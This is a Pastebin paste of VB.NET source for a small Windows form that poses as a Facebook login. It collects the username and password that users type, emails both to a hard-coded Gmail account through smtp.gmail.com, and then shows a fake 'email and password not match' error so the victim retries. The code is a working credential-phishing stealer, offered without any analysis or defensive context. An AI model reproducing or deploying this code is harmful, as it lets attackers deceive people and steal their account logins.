Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form2
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- If TextBox1.Text = "" Then
- MsgBox("Username Is Missing")
- If TextBox2.Text = "" Then
- MsgBox("Password Is Mising")
- Else
- End If
- End If
- Dim smtpServer As New SmtpClient()
- Dim mail As New MailMessage()
- smtpServer.Credentials = New Net.NetworkCredential("emailkau@gmail.com", "passwordkau")
- 'guna gmail account
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com"
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("emailkau@gmail.com")
- mail.To.Add("emailkau@gmail.com")
- mail.Subject = "Username: " & TextBox1.Text
- mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
- smtpServer.Send(mail)
- MsgBox("Error! you facebook email and password not match! please try again! ")
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Me.Close()
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement